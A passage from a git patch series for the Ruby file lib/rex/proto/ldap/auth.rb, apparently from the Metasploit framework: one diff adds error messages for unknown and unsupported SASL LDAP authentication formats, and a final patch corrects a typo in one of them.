b/lib/rex/proto/ldap/auth.rb @@ -75,6 +75,7 @@ module Rex # @return auth_info [Hash] Processed authentication information def handle_unknown_request(user_login, auth_info = {}) auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unknown Auhtentication Format' auth_info end @@ -154,6 +155,7 @@ module Rex end else auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unsupported SASL Format' end auth_info[:auth_type] = 'SASL' auth_info From 40701bf59a068121ce978dbe49f217b2e6169784 Mon Sep 17 00:00:00 2001 From: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> Date: Thu, 15 Feb 2024 21:26:45 +0000 Subject: [PATCH 21/21] Fix auhtentication typo in lib/rex/proto/ldap/auth.rb --- lib/rex/proto/ldap/auth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index 19114af1a9..c767b7a9c8 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -75,7 +75,7 @@ module Rex # @return auth_info [Hash] Processed authentication information def handle_unknown_request(user_login, auth_info = {}) auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported - auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unknown Auhtentication Format' + auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unknown Authentication Format' auth_info end